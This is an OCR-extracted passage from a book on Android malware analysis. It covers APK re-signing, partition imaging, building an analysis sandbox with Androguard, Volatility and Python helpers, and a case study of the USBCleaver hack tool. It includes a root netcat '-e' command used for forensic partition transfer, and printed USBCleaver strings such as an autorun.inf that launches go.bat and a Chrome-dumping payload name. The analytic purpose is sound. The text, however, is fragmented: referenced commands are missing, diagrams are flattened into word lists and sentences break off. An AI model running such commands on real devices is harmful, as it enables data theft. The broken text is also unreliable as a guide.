When the apktool compiles the patch it will create two additional
directories called build and dist. Build contains the recompiled code
and dist contains the newly created apk. At this stage, the APK is not
runnable and will result in a certificate not found error if attempted.
The patched application needs to be signed with a certificate to make
it runnable again. To do this, you will need the Signapk.jar and a pub-
lic/private key to sign it with. Fortunately, the download of Android
Commander comes with all these tools you can use. Copy the patched
APK file to the signapk directory where Android Commander is
installed and run the following command.
This will produce a newly signed APK for you to test with. Install the
application to your device and begin testing.
12 4 A n d r o id M a lwa re a n d A n a lysis
If you want to sign it with your own certificate you can do that as
well. You just have to go and create a public/private key with some-
thing like Openssl and then sign it just like described earlier.
This will be a pretty slow process but it will image the partition you
have chosen and then you can use forensic tools such as FTK to
open it and extract files. The raw file will be located in your home
directory under the Cygwin installation unless you change it in the
command above.
Another method involves backing up the partitions into a tarbar. It
works the same way as the previous method except it is much faster and
it is technically doing a backup of the partition. To do this you will need
all the same tools; you will just perform some different operations:
• Connect the device via a USB.
• Open three Cygwin windows and enter the following commands.
• Cygwin window 1
• adb shell mount—This will give you the list of parti-
tions you can back up like system.
• Create a fifo directory under /cache
• adb forward tcp:5555 tcp:5555
• adb shell
• su
• /system/xbin/busybox mkfifo/cache/myfifo
• /system/xbin/busybox tar -cvf/cache/
myfifo/system
Note the /system component of the last command is the system par-
tition of the device we are going to back up. Now go to your second
Cygwin terminal.
• Cygwin window 2
• adb forward tcp:5555 tcp:5555
• adb shell
• su
• /system/xbin/busybox nc -l -p 5555 -e/
system/xbin/busybox cat/cache/myfifo
Now go to the last Cygwin terminal and enter the following
commands.
• Cygwin window 3
• adb forward tcp:5555 tcp:5555
• nc 127.0.0.1 5555 | pv -i 0.5 > system.tar
12 6 A n d r o id M a lwa re a n d A n a lysis
Once complete you will have a backup of that partition in a tar format
from which you can extract and review the files contained within. As
pointed out earlier, the tar file will be located in your home directory
under the Cygwin installation unless you change it in the aforemen-
tioned command.
SMS Messaging with the Emulator The emulators open port 5554 by
default. Each new emulator spawned simultaneously increments by
2 (e.g., 5556, 5558). You can spawn up to 16 simultaneous emulators.
The full number is 1-555-521-5554, 1-555-521-5556, and so on.
To send SMS messages you can open the messaging application on
two running instances of the emulator. Note, they must be running
on the same host and using the full phone number of the emulated
device to send and receive messages through it. An example of this
type of transaction is shown in Image 7.24.
once you have pulled them off the device you can use something like
sqlitebrowser, found at http://sourceforge.net/projects/sqlitebrowser/,
to visually inspect them. Following is an example of the contacts data-
base extracted from a test device.
Conclusion
Static Dynamic
Sample Analysis Analysis Result
12 9
13 0 A n d r o id M a lwa re a n d A n a lysis
Static Analysis
Dynamic Analysis
Dynamic analysis does not inspect the source code, but it runs in a
controlled environment, which we know as sandbox. In this way the
behavior can be analyzed in a controlled environment. This is done by
the supervision and the registration of every relevant operation of the
execution, and automatically it generates a report for each analysis.
Dynamic analysis may combat obfuscation techniques well but can
be circumvented by the methods of runtime detection. For this and in
general, it is common to combine static and dynamic analyses, and we
can do this combination in many different ways.
Now we will visit different parts and components of an Android
system. With this knowledge you can understand the Android inter-
nals overview and it will make it easier to understand how Android
works in general.
Before taking the plunge to start your own sandbox, you must have
a basic knowledge of how Android works on the inside. Android is
a modern mobile platform based on a modified Linux 2.6/3.0 with a
Java programming interface. Also, several drivers and libraries have
been modified to allow Android to run efficient on mobile devices.
It provides tools, such as a compiler, debugger, and a device emula-
tor as well as its own Java Virtual machine (Dalvik virtual machine,
DVM). Android is created by the Open Handset Alliance, which is
lead by Google.
13 2 A n d r o id M a lwa re a n d A n a lysis
.jar .apk
.class .dex
Magic Number
Magic Number
Checksum
Header Version of Class Header SHA-I Signature
File Format
Other
Strings
Constant Pool
Heterogeneous
Constant Pool
Constant Pool
Type/Class
Constant Pool
Access Flags
This Class Field
Class Super Class Constant Pool
Interfaces
Method Methods
Class
Definitions
Attributes Attributes
Field List
Method List
.class
....
Code Header
Android uses a special virtual machine, that is, the Dalvik virtual
machine (Figure 8.2). Dalvik uses special bytecode. Therefore, you can-
not run standard Java bytecode on Android. Android provides a tool,
“dx,” which allows conversion of Java Class files into “dex” (Dalvik exe-
cutable) files. Android applications are packed into an “apk” (Android
Package) file by the program “aapt” (Android Asset Packaging Tool).
To simplify development, Google provides the Android Developer
Tools (ADT) for Eclipse. The ADT automatically performs the con-
version from class to dex files and creates the apk during deployment.
Android Architecture
Applications
Applications Framework
Activity Window Content View Notification
Manager Manager Providers System Manager
Dalvik Virtual
OpenGL|ES FreeType WebKit
Machine
Applications Framework
Display Camera Bluetooth M-Systems Binder (IPC)
Driver Driver Driver Driver Driver
Power
USB Driver Keypad Driver Wifi Driver Audio Driver
Management
Applications
Applications Framework
Libraries
Android Runtime
Dalvik.equals (Java)==false
.jar .apk
.class
Heterogeneous
Constant Pool
.dex
String_ids
Constant Pool
Other Data
Type_ids
Constant Pool
.class
Proto_ids
Constant Pool
Heterogeneous
Constant Pool Field_ids
Constant Pool
Method_ids
Other Data Constant Pool
.class
Other
Data
Heterogeneous
Constant Pool
Other Data
C and C++, Google argued that the impact of JIT compilation would
not be significant.
Finally, the Dalvik virtual machine employs a different type of
mounting for the code generation, in which the registers are used as
the primary units of date storage.
It should be noted that the final executable code of Android as a result
of the Dalvik virtual machine is not based on Java byte code, instead it is
based on .dex files. This means that it is not possible to execute the Java
byte code directly. As a result, one starts with .class files in Java convert-
ing them to .dex. Included in the Android runtime are “core libraries,”
along with most of the available libraries in Java language.
Broadly, the structure of a .dex file consists of the following parts
(Figure 8.5):
.apk
.dex
Header
“HelloWorld”
“Lcom/google/Blort;” String_ids
“printIn” Constant Pool
...
int
Type_ids String[ ]
Constant Pool com.google.Blort
...
void fn(int)
double fn(object,int) Proto_ids
String fn() Constant Pool
...
String.offset
Field_ids
Integer.MAX_VALUE
Constant Pool
...
PrintStream.printIn(...) Method_ids
Collection.size() Constant Pool
...
Class
Definitions
Data
• Header
• Chart with the positions of the Strings
• Table positions Types
• Table with the positions of the structures/methods Prototypes
• Chart with the positions of the properties of classes or meth-
ods Fields
• Table positions Methods
• Positions table Data Classes
Except for the Strings table (which is referring to all other tables
as it is the place where every name of classes, methods, functions,
variables, and data types are stored), the rest follows a reverse hierar-
chical order, that is, if we would like to disassemble the .dex files after
obtaining the list of strings, we would get the list of classes, methods,
properties, and fields of the methods. The structure of this method,
which links methods and fields and finally the types, would indicate
the kinds of method fields and types that return the methods. That is
to say, it is a relational structure that has as an objective the maximum
reuse of information, avoiding redundancies and achieving the opti-
mal format for mobile terminals (Figure 8.6).
As noted, there are tables in which the position is indicated where
the information that composes the table is usually offset optionally by
a length. These dates together with the machine code are in the data
section.
Like almost everything, this system has its advantages and objec-
tions. The system of Android devices allows the change to another vir-
tual machine, keeping another in the background, a great advantage
that endows our devices of real multitasking. However, each applica-
tion has to develop in its own virtual machine instead of executing
directly since the operative system causes the whole of the system to
lose fluency, and this worsens depending on the number of applica-
tions we have open on the screen or in the background.
In spite of this drawback, Android is a notably fluid system, but one
wonders if it may be even more fluid. For Google, the answer is yes.
For that reason, Google decided to create a new virtual machine,
called ART (Android runtime), which in the future will replace the
actually Dalvik virtual machine. This new virtual machine pretended
to make operations faster. For this, it will work with a new kind of
Buil d in g Yo ur O w n S a n d b ox 13 9
Header
“HelloWorld”
“Lcom/google/Blort;” String_ids
“printIn” Constant Pool
... int
Type_ids String[ ]
Constant Pool com.google.Blort
...
void fn(int)
Proto_ids
double fn(object,int)
Constant Pool
String fn()
...
String.offset
Field_ids
Integer.MAX_VALUE
Constant Pool
...
PrintStream.printIn(...)
Method_ids
Collection.size()
Constant Pool
...
Class
Definitions
Data
compiled file, named OAT (as we have said until now, they are ODEX
files). Of course, Google has facilitated the code to compile and pass
along the code if desired.
The main difference between the old Dalvik and the new ART is
in the old virtual machine execution, which interprets the code at the
same time it starts the application. In return, ART is AOT (ahead-
of-time), that is it begins a precompilation to install the application,
therefore, this execution does not require as much data load as before,
and entails starting an application, which will be produced in less
time. Moreover, the first tests realized by developers with the new
ART have been very encouraging, inasmuch as in some cases the ini-
tiation and implementation time of an application is halved.
support for devices. This model layer acts as the abstraction layer
between the hardware and the rest of the stack. Therefore it is unique
and depends on the hardware.
Nowadays, there are numerous threats that make the Android kernel
vulnerable. Table 8.1 is a chronology of the vulnerabilities detected dur-
ing mid 2013 to early 2014. If you are interested in knowing the latest
vulnerabilities affecting the Android core, you may visit cve.mitre.org.
Bad actors quickly take advantage of new public domain vulner-
abilities for nefarious purposes. Recently a new vulnerability was
At this point and helped by open source tools, you will be able to start
your own sandbox with a little effort and taking advantage of the ser-
vices and the software, which are offered by the open source com-
munity. For this, we will take a look at tools we employ to build an
environment where you may easily analyze samples and obtain a simple
and understandable reporting. These will be classified in two sections:
static analysis tools and dynamic analysis tools. We use this separation
to summarize in an orderly way the execution process in the sandbox
environment we are going to develop. Then we detail the tools that may
be obtained from open repositories on the Internet. To facilitate the
task, http://androidrisk.com maintains a private tool archive including
options for this sandbox for registered owners of this book.
For the sandbox development you will have to employ some of the
tools mentioned in this section. Some tools, such as VirusTotal and
APKTool, have already been mentioned in the book and are not
duplicated here. Others, like Androguard, have already been intro-
duced but are further matured in this chapter.
Androguard
In [1]: a.show()
FILES :
META-INF/MANIFEST.MF ASCII text, with CRLF line
terminators 4d14f203
META-INF/SHIYI.SF ASCII text, with CRLF line
terminators -51be4c70
META-INF/SHIYI.RSA data -77df883f
[....]
PERMISSIONS : {‘android.permission.READ_SYNC_
SETTINGS’: [‘normal’, ‘read sync settings’, ‘Allows an
application to read the sync settings, such as whether
sync is enabled for Contacts.’],
‘android.permission.WRITE_APN_SETTINGS’: [‘dangerous’,
‘write Access Point Name settings’, ‘Allows an
application to modify the APN settings, such as Proxy
and Port of any APN.’], ‘com.android.launcher.
permission.UNINSTALL_SHORTCUT’: [‘dangerous’, ‘Unknown
permission from android reference’, ‘Unknown
permission from android reference’], ‘android.
permission.READ_SECURE_SETTINGS’: [‘dangerous’,
‘Unknown permission from android reference’, ‘Unknown
permission from android reference’], [...]}
ACTIVITIES : [‘com.bwx.bequick.EulaActivity’, ‘com.
bwx.bequick.ShowSettingsActivity’, ‘com.bwx.bequick.
DialogSettingsActivity’, ‘com.bwx.bequick.
MainSettingsActivity’, ‘com.bwx.bequick.
LayoutSettingsActivity’, ‘com.bwx.bequick.preferences.
CommonPrefs’, ‘com.bwx.bequick.preferences.
BrightnessPrefs’, ‘com.bwx.bequick.preferences.
MobileDataPrefs’, ‘com.bwx.bequick.preferences.
AirplaneModePrefs’, ‘com.bwx.bequick.flashlight.
ScreenLightActivity’, ‘com.google.android.smart.
FcbakeLauncherActivitcy’, ‘com.google.android.smart.
AcbppInstallActivitcy’]
SERVICES : [‘com.google.android.smart.McbainServicce’]
RECEIVERS : [‘com.bwx.bequick.flashlight.
LedFlashlightReceiver’, ‘com.bwx.bequick.receivers.
StatusBarIntegrationReceiver’, ‘com.google.android.
smart.WcbakeLockReceivecr’, ‘com.google.android.smart.
BcbootReceivecr’, ‘com.google.android.smart.
14 6 A n d r o id M a lwa re a n d A n a lysis
ScbhutdownReceivecr’, ‘com.google.android.smart.
LcbiveReceivecr’, ‘com.google.android.smart.
PcbackageAddedReceivecr’]
PROVIDERS : []
As you can imagine the extent that this framework provides for
analysis of malicious codes in Android is excellent and allows you to
obtain a better understanding of the threat as well as better knowl-
edge of its internal structure and its functionalities. Also, Androguard
has file comparison tools, finding of similarities with other known
threats, visualization functionalities, and much more.
Androguard incorporates a very interesting module for malware
analysis. You may employ androlyze.py as an analysis for suspicious
patterns through an interactive shell.
Radare2
APKInspector
Keytool
KeyTool Output:
Issuer
DN: C=CN, ST=Neverland, L=Neverland,
O=AndroidMalwareAuthor, OU=AndroidMalwareAuthor,
CN=AndroidMalwareAuthor
C: CN
CN: AndroidMalwareAuthor
L: Neverland
O: AndroidMalwareAuthor
S: Neverland
OU: AndroidMalwareAuthor
Subject
DN: C=CN, ST=Neverland, L=Neverland,
O=AndroidMalwareAuthor, OU=AndroidMalwareAuthor,
CN=AndroidMalwareAuthor
We next show a summary of the tools that are offered by the open source
community to realize analysis in a dynamic way to arm the sandbox.
TaintDroid
(3) (7)
(2) (9)
Userspace
Binder IPC Library Binder Hook Binder Hook Binder IPC Library
(5)
Kernel
(Java for Android SO) and a kernel module that intercepts system
activities in real time.
When the application begins sending the private information pro-
cess to an external network, a pop-up appears that warns the user of
such a maneuver. For this, it is necessary to install the APK in the
TaintDroid environment.
DroidBox
DECAF
Volatility Framework
$ cd ~/android-volatility/
$ python vol.py— info | grep Linux
Volatile Systems Volatility Framework 2.3_alpha
LinuxGolfish-2_6_29x86 - A Profile for Linux Golfish-2.6.29
x86
$ python vol.py— profile=LinuxGolfish-2_6_29x86 -f ~/lime.
dump linux_pslist
Volatile Systems Volatility Framework 2.3_alpha
Offset Name Pid Uid Gid DTB Start Time
---------- ---------- --- --- --- ---------- ----------
0xf3812c00 init 1 0 0 0x33b04000 2013-02-25
16:42:16 UTC+0000
0xf3812800 kthreadd 2 0 0 ---------- 2013-02-25
16:42:16 UTC+0000
0xf3812400 ksoftirqd/0 3 0 0 ---------- 2013-02-25
16:42:16 UTC+0000
.....
VirusTotal Match
Suspicious Strings
Manifest Parsing
Static Analysis
Report Results
Suspicious APK
System Traces
AppTraces
Method Traces
Network Capture
Dynamic
Screenshots
Architecture
Host Requirements
Before taking the first steps to start the configuration and installation
of the sandbox, you should set the operating system you have chosen
to perform all the functionalities. We will help you with the follow-
ing steps if you have chosen Debian or a similar base system. We will
separate the installation of this base in different points.
Operating System
ama@ama:~$ uname -a
Linux r2 3.2.0-4-amd64 #1 SMP Debian 3.2.41-2 x86_64
GNU/LinuX
This command line tool for GNU/Linux enables you to calculate sim-
ilarities between multiple “ssdeep” files.
You can either run AMA from your own user or create a new one
dedicated just to your sandbox setup. Make sure that the user that
runs AMA is the same user that you will use to create and run the
virtual machines.
The Python module for the libpcap packet capture library is based
on the original Python libpcap. It captures traffic that can generate
the dynamic analysis.
TrID is a command line utility with which you can identify any
type of file. Its use is as simple as writing TrID followed by the name
of a file or directory. TrID extracts recognizable patterns and compares
Buil d in g Yo ur O w n S a n d b ox 15 7
them with their own signature database. When in doubt, it will dis-
play all possible file extensions with a percentage probability. Before
using TrID you must first download the file and unzip it. TrID recog-
nizes more than 3,700 file types and its database is regularly enhanced
by contributions from users. An interesting option is the correct file
extensions. If you run it with the parameter “-e”, TrID automatically
changes the extension that is most likely for the file.
Then create a series of folders and add the correct permissions to run
the sandbox.
Configuration
After installing the software and packages, you need to configure the
sandbox. This step is trivial, involving just one configuration file.
15 8 A n d r o id M a lwa re a n d A n a lysis
Under the [system] tag we found our setup for samples temporal
storage and external tools.
ama@ama:~$ ls -la./samples
total 4004
drwxrwxrwx 2 ama ama 4096 Mar 1 20:39 .
drwxr-xr-x 14 ama ama 4096 Mar 1 21:02 ..
-rw-r--r-- 1 ama ama 179113 Mar 1 19:58
051c500d97f236330b88e0416a82db9b.apk
-rw-r--r-- 1 ama ama 248102 Mar 1 20:22
3c0b51c4ac62586fe57c689bf77aea6e.apk
-rw-r--r-- 1 ama ama 19724 Mar 1 20:29
cfa9edb8c9648ae2757a85e6066f6515.apk
-rw-r--r-- 1 ama ama 19865 Mar 1 20:39
ecbbce17053d6eaf9bf9cb7c71d0af8d.apk
Inside the external we have all the tools we use for static and
dynamic analyses. Be sure that all the permissions are right and owner
execution as well.
In the decompiler tag we add a path to save our reports and the log
level. You can set just DEBUG or disable like this #log_vele=DEBUG.
[decompiler]
path = report/%md5%
log_level = DEBUG
Under the [dinamic] tag we find our setup for dynamic configura-
tion analysis. The most important part is to know the path on which
you saved your virtual machine for running the analysis.
[dinamic]
log_level = DEBUG
portstart = 5555
memory = 512
vram = 32
netdump = %md5%
path = report-dinamic/%md5%
iso = vm/buildroid_vbox86tp_4.0.3_r1-20120518.ova
extratime = 5
monkey = 100
[db]
host = 127.0.0.1
port = 27017
name = awi
user =
password =
[logs]
host = 127.0.0.1
port = 27017
name = awi
user =
password =
collection = logs
[celery]
host = 127.0.0.1
port = 27017
name = awi
user =
password =
concurrency = 5
log_level=DEBUG
[filesystem]
path = samples
apk = %md5%.apk
user = debug
password = debug
# system
mode = system
# ftp
# mode = ftp
# Only used in FTP mode. Default port are 22
#domain = hostname
#port = 22
The analyst is able to identify the storage of choice on the local file
system or FTP server.
[Web] tag is designated to set up a Web interface, just to enable
and disable log_level and path of Web templates. The lang string is
Buil d in g Yo ur O w n S a n d b ox 161
[web]
log_level = DEBUG
debug = on
template = templates/
lang = lang/
After you run the script to upload all the strings, you will see this
output:
[virustotal]
key=“YOUR API KEY WITHOUT QUOTES”
Running Sandbox
Once the system setup is completed, you can now start the sandbox
and rapidly see the results of the analysis.
To start we recommend that you open a desktop session in the dis-
tribution that you choose. First run website.py in charge of keeping
the Web interface.
Buil d in g Yo ur O w n S a n d b ox 16 3
After running this command you will see if the server has been started
on your favorite browser. In our case, it is http://192.168.229.153:8080/
upload.
Well this seems to work! Now let’s run the services from celery we
need to perform:
16 4 A n d r o id M a lwa re a n d A n a lysis
• Decompile
• Static analysis
• Dynamic analysis
Just type the following command to run celery service:
ama@ama:~/ama$ celeryd
Well this seems to work, again! Now we can upload all samples we
want to the sandbox.
You will see a brief summary of that in the code published in the
book. Initially, once you have uploaded a sample to the sandbox you
will quickly see that this already provides information on the sample
gained.
Buil d in g Yo ur O w n S a n d b ox 16 5
#-----------------------------------------------------
def find_interesting_str_smali(decompiled_path):
“””
Args:
Returns:
“””
interesting_files = []
emails = []
smali_filepath=os.path.join(decompiled_path, ‘smali’)
for root, dirs, files in os.walk(smali_filepath):
for file in files:
shared_object_path=os.path.join(root, file)
interesting_file={}
with open(shared_object_path, ‘r’) as fd:
16 6 A n d r o id M a lwa re a n d A n a lysis
smali_txt=fd.read()
ip_addresses=re.findall(‘\d{1,3}\.\d{1,3}\.\
d{1,3}\.\d{1,3}’,
smali_txt)
#comentar el uso de set para eliminar
repetidos
ip_addresses=set(ip_addresses)
emails=re.findall(
‘([\w\-\.]+@(?:\w[\w\-]+\.)[\w\-]+)’, smali_
txt)
emails=set(emails)
Buil d in g Yo ur O w n S a n d b ox 16 7
if len(ip_addresses) > 0:
interesting_file.update({
‘smali_file’: shared_object_path,
‘ip_addresses’: ip_addresses})
if len(emails) > 0:
interesting_file.update({
‘smali_file’: shared_object_path,
‘emails’: emails})
if len(interesting_file) > 0:
interesting_files.append(interesting_file)
From the dynamic point of view, you can see the interactions that are
made with the virtual machine that is delivered in this book.
We manage all features of the VirtualBox Android-x86 using
ADB components. In this process, we do several checks including
recreating a phone call.
Buil d in g Yo ur O w n S a n d b ox 16 9
Image 8.8 Android Malware Analyzer System running apk sample on VirtualBox Android-x86.
#-----------------------------------------------------
def emulate_call(self, tel, duration_sec=5):
“””
Args:
Returns:
“””
# KEYCODE_CALL=5
self.send_event(AdbManage.KEYCODE_CALL)
for n in tel:
#KEYCODE_0=7
event=int(n) + AdbManage.KEYCODE_0
self.send_event(event)
self.send_event(AdbManage.KEYCODE_CALL)
time.sleep(duration_sec)
KEYCODE_ENDCALL=6
self.send_event(AdbManage.KEYCODE_ENDCALL)
return imp_runner, add_runner, mod_runner
Presently, this includes all traces of the system so that you can then
look for the most interesting interactions made by the malware.
17 0 A n d r o id M a lwa re a n d A n a lysis
You can see in the preceding screenshot that there are different
events within the sandbox that take a picture of every interaction.
In the process, we send apk directly to the VirtualBox Android
Appliance, like we show in the following code lines.
#------------------------------------------------------------
def import_ova(self, ova, memory=‘1024’, vram=‘20’, adb_
port=‘5555’,
net_tracefile=‘netdump.pcap’):
“””
Buil d in g Yo ur O w n S a n d b ox 171
Args:
Returns:
“””
imp_runner=VmManage.run(‘import “%(ova)s” -n ‘% {‘ova’:
ova})
extra = “”
base_name = os.path.basename(ova)
file_name, extension = os.path.splitext(base_name)
nic=1
for line in imp_runner.out.split(“\n”):
if line.find(“:”) == -1:
continue
if line.find(“Network adapter:”) > -1:
if line.find(“type=NAT”) > -1:
nic = int(
line[line.find(“slot=“)+len(“slot=“):line.
rfind(“;”)]
) + 1
hdd = line.find(“Hard disk image:”)
if hdd > -1:
hdd = line[:line.find(“:”)]
path = line[line.find(“path=“)+len(“path=“):line.
rfind(“,”)]
path = path.replace(file_name, self.name.replace(‘”’,
‘’))
extra += ‘— vsys 0— unit%s— disk “%s”’% (hdd, path)
cmd = ‘import “%(ova)s”— vsys 0— vmname%(name)s— vsys 0 ‘ \
‘— memory%(mem)s%(extra)s’% \
{‘ova’: ova,
‘name’: self.name,
‘mem’: memory,
‘extra’: extra}
add_runner = VmManage.run(cmd)
for vm in VmManage.list_vms():
if vm.name == ‘”%s”’% self.name or vm.name == self.
name:
self.uuid=vm.uuid
break
mod_runner=None
if self.uuid:
cmd = ‘modifyvm%(uuid)s— nic%(nic)s hostonly’% \
{
‘uuid’: self.uuid,
‘nic’: nic}
cmd = ‘modifyvm%(uuid)s --vram%(vram)s --nic%(nic)s nat ‘
\
‘--natpf%(nic)s adb_tcp,tcp,127.0.0.1,%(adb)s,,5555
‘ \
‘--natpf%(nic)s adb_udp,udp,127.0.0.1,%(adb)s,,5555
‘ \
17 2 A n d r o id M a lwa re a n d A n a lysis
‘--nictrace%(nic)s on --nictracefile%(nic)s
“%(file)s”’% \
{
‘uuid’: self.uuid,
‘vram’: vram,
‘nic’: nic,
‘adb’: adb_port,
‘file’: net_tracefile}
mod_runner = VmManage.run(cmd)
return imp_runner, add_runner, mod_runner
In this case, the sample is not active and does not send any kind of
information. It is, however, very interesting due to multiple GET and
POST requests seen in the packet capture.
Buil d in g Yo ur O w n S a n d b ox 173
GET
Extern.Espabit.Com
80
/Apps/Membresia/?Uv=Es-69tubexES&User=Null&Md5=1073bd7
7f828231436dd7b7eb0ea7a4f
Apache-HttpClient/UNAVAILABLE (Java 1.4)
Usbcleaver
17 5
17 6 A n d r o id M a lwa re a n d A n a lysis
that matter, we get the MD5 hash for it. The MD5 hash for this
sample is 283d16309a5a35a13f8fa4c5e1ae01b1.
Now that we have the hash for the sample we can check the Internet
for any previous reporting on the sample and correlate our findings
with the findings of others. You can return to searching throughout
your analysis as indicators make themselves known, possibly reveal-
ing the nature of the sample you are working with as well as revealing
variants of the specific sample. Following are results of a simple hash
search; there are quite a few hits on this (see Image 9.1).
Now that we have some reporting to work with we can check to
see if any antivirus signatures exist for the sample. We can do this by
accessing a site like virustotal.com, which accepts APK files for sub-
mittal, and either perform a hash search or submit it. Following are
the results from VirusTotal.
https://www.virustotal.com/en/file/08db067f2a8c1d2b2f3b85643f9642d08c86dcfc98a661796db
cb52303922f33/analysis/
SHA256 08db067f2a8c1d2b2f3b85643f9642d08c86dcfc98a661796dbcb52303922f33
File name USB_Cleaver1.3r1.apk
Detection ratio 27/47
Comodo UnclassifiedMalware
NANO-Antivirus Trojan.UsbCleaver.caikhb
Rising Trojan.UNIX.AndroidUCleaver.b
VIPRE Trojan.AndroidOS.Generic.A
TrendMicro-HouseCall TROJ_GEN.F47V0322
DrWeb Tool.UsbCleaver.1.origin
Symantec Infostealer
Kaspersky HEUR:HackTool.AndroidOS.UsbCleaver.a
Baidu-International HackTool.AndroidOS.UsbCleaver.amf
Ikarus Hacktool.AndroidOS.USBCleaver
F-Secure Hack-Tool:Android/UsbCleaver.A
McAfee Artemis!283D16309A5A
McAfee-GW-Edition Artemis!283D16309A5A
TrendMicro ANDROIDOS_USBCLEAVER.A
F-Prot AndroidOS/UsbCleaver.A
Commtouch AndroidOS/GenBl.283D1630!Olympus
Avast Android:UsbCleaver-A [PUP]
AntiVir Android/UsbCleaver.a.1
ESET-NOD32 Android/UsbCleaver.A
AVG Android/USBCleaver
Emsisoft Android.Hacktool.UsbCleaver.A (B)
MicroWorld-eScan Android.Hacktool.UsbCleaver.A
C a se S t udy E x a mp l e s 17 7
GData Android.Hacktool.UsbCleaver.A
Kingsoft Android.ADWARE.Agent.ac.(kcloud)
AhnLab-V3 Android-AppCare/UsbCleaver
Sophos Android USB Cleaver
ClamAV Andr.Spyware.USBCleaver
Before getting too deep into analysis, it can be helpful to run the
sample through a sandbox. This will help you correlate previous
reporting but give a quick behavioral analysis without having to com-
mit your lab to work. One such sandbox that works with APK files is
mobile sandbox: www.mobilesandbox.org.
This sandbox will take in an APK file and give a brief overview of
a sample showing rights requested and its basic structure. This will
begin to give an overall idea of what the sample might be doing before
starting any analysis. Additionally, the information can be cross-ref-
erenced against the results of other tools. Following are the sandbox
results for Usbcleaver.
C a se S t udy E x a mp l e s 179
Checkpoint
Static Analysis
An APK file is a zip container holding many assets inside. The APK
tool is the best tool for not only opening an APK file but decoding
the files contained within making them legible to the reader. Among
those files made legible is the AndroidManifest.xml file. This file
contains important information about the functionality of the sample
including requested rights and actions the sample takes. Following is
the output of the AndroidManifest.xml after the APK tool decode.
/autorun.inf
/go.bat
/usbcleaver
/usbcleaver.zip
/usbcleaver/LOGS
/usbcleaver/config
%/usbcleaver/config/Drive_Location.cfg
“/usbcleaver/config/External_IP.cfg
/usbcleaver/logs
/usbcleaver/system
EXIT
File Size:
FileArrayAdapter.java
FileChooser.java
Landroid/app/Activity;
!Landroid/app/AlertDialog$Builder;
Landroid/app/AlertDialog;
Landroid/app/Dialog;
Landroid/app/ListActivity;
Landroid/app/ProgressDialog;
Landroid/content/Context;
1Landroid/content/DialogInterface$OnClickListener;
!Landroid/content/DialogInterface;
Landroid/content/Intent;
*Landroid/content/SharedPreferences$Editor;
18 2 A n d r o id M a lwa re a n d A n a lysis
#Landroid/content/SharedPreferences;
Landroid/os/AsyncTask
Landroid/os/AsyncTask;
Landroid/os/Bundle;
Landroid/os/Environment;
Landroid/util/Log;
Landroid/view/LayoutInflater;
Landroid/view/Menu;
Landroid/view/MenuItem;
#Landroid/view/View$OnClickListener;
Landroid/view/View;
Landroid/view/ViewGroup;
Landroid/widget/ArrayAdapter
Landroid/widget/ArrayAdapter;
Landroid/widget/Button;
Landroid/widget/CheckBox;
7Landroid/widget/CompoundButton$OnCheckedChangeListener;
Landroid/widget/CompoundButton;
Landroid/widget/LinearLayout;
Landroid/widget/ListAdapter;
Landroid/widget/ListView;
Landroid/widget/TextView;
Landroid/widget/Toast;
,Lcom/novaspirit/usbcleaver/FileArrayAdapter;
‘Lcom/novaspirit/usbcleaver/FileChooser;
“Lcom/novaspirit/usbcleaver/Option;
“Lcom/novaspirit/usbcleaver/R$attr;
&Lcom/novaspirit/usbcleaver/R$drawable;
Lcom/novaspirit/usbcleaver/R$id;
$Lcom/novaspirit/usbcleaver/R$layout;
$Lcom/novaspirit/usbcleaver/R$string;
Lcom/novaspirit/usbcleaver/R;
0Lcom/novaspirit/usbcleaver/USBCleaverActivity$1;
0Lcom/novaspirit/usbcleaver/USBCleaverActivity$2;
.Lcom/novaspirit/usbcleaver/USBCleaverActivity;
&Lcom/novaspirit/usbcleaver/decompress;
(Lcom/novaspirit/usbcleaver/downloader$1;
8Lcom/novaspirit/usbcleaver/downloader$DownloadFileAsync;
&Lcom/novaspirit/usbcleaver/downloader;
#Lcom/novaspirit/usbcleaver/logView;
&Lcom/novaspirit/usbcleaver/mainMenu$1;
&Lcom/novaspirit/usbcleaver/mainMenu$2;
&Lcom/novaspirit/usbcleaver/mainMenu$3;
$Lcom/novaspirit/usbcleaver/mainMenu;
%Lcom/novaspirit/usbcleaver/payload$1;
%Lcom/novaspirit/usbcleaver/payload$2;
%Lcom/novaspirit/usbcleaver/payload$3;
C a se S t udy E x a mp l e s 18 3
%Lcom/novaspirit/usbcleaver/payload$4;
%Lcom/novaspirit/usbcleaver/payload$5;
%Lcom/novaspirit/usbcleaver/payload$6;
%Lcom/novaspirit/usbcleaver/payload$7;
#Lcom/novaspirit/usbcleaver/payload;
*Lcom/novaspirit/usbcleaver/payloadHandler;
“Ldalvik/annotation/EnclosingClass;
#Ldalvik/annotation/EnclosingMethod;
Ldalvik/annotation/InnerClass;
!Ldalvik/annotation/MemberClasses;
Ldalvik/annotation/Signature;
Lenght of file:
Ljava/io/BufferedInputStream;
Ljava/io/BufferedReader;
Ljava/io/BufferedWriter;
Ljava/io/File;
Ljava/io/FileInputStream;
Ljava/io/FileOutputStream;
Ljava/io/FileReader;
Ljava/io/FileWriter;
Ljava/io/IOException;
Ljava/io/InputStream;
Ljava/io/OutputStream;
Ljava/io/Reader;
Ljava/io/Writer;
Ljava/lang/CharSequence;
Ljava/lang/Class;
Ljava/lang/Comparable
Ljava/lang/Comparable;
Ljava/lang/Exception;
$Ljava/lang/IllegalArgumentException;
Ljava/lang/Integer;
Ljava/lang/Object;
Ljava/lang/String;
Ljava/lang/StringBuilder;
Ljava/lang/System;
Ljava/lang/Throwable;
Ljava/net/URL;
Ljava/net/URLConnection;
Ljava/util/ArrayList;
Ljava/util/Collection;
Ljava/util/Collections;
Ljava/util/List
Ljava/util/List;
4Ljava/util/List<Lcom/novaspirit/usbcleaver/Option;>;
Ljava/util/zip/ZipEntry;
Ljava/util/zip/ZipInputStream;
18 4 A n d r o id M a lwa re a n d A n a lysis
Not Dir
Option.java
PREFS_NAME
Parent Directory
Payload Generated
R.java
Recursive Call
TextView01
TextView02
This is a 3 mb download of the tools needed to run the
payloads. If you have not downloaded this on first run,
please download this now.
This program will hold no responsibility for your action.
What you decide to do with this application is your own
decision, and the developer(s) of this application will
hold no responsibility for your actions or will be
responsible for his/her misdeeds. This application was
not created to encourage and/or for hacking anything
other than his/her own equipment.
USBCleaverActivity.java
Unzipping
[Ljava/io/File;
[Ljava/lang/Object;
[Ljava/lang/String;
T[autorun]
icon = usbcleaver
older.ico
action = Open folder to view files
open = go.bat
cbDumpChrome
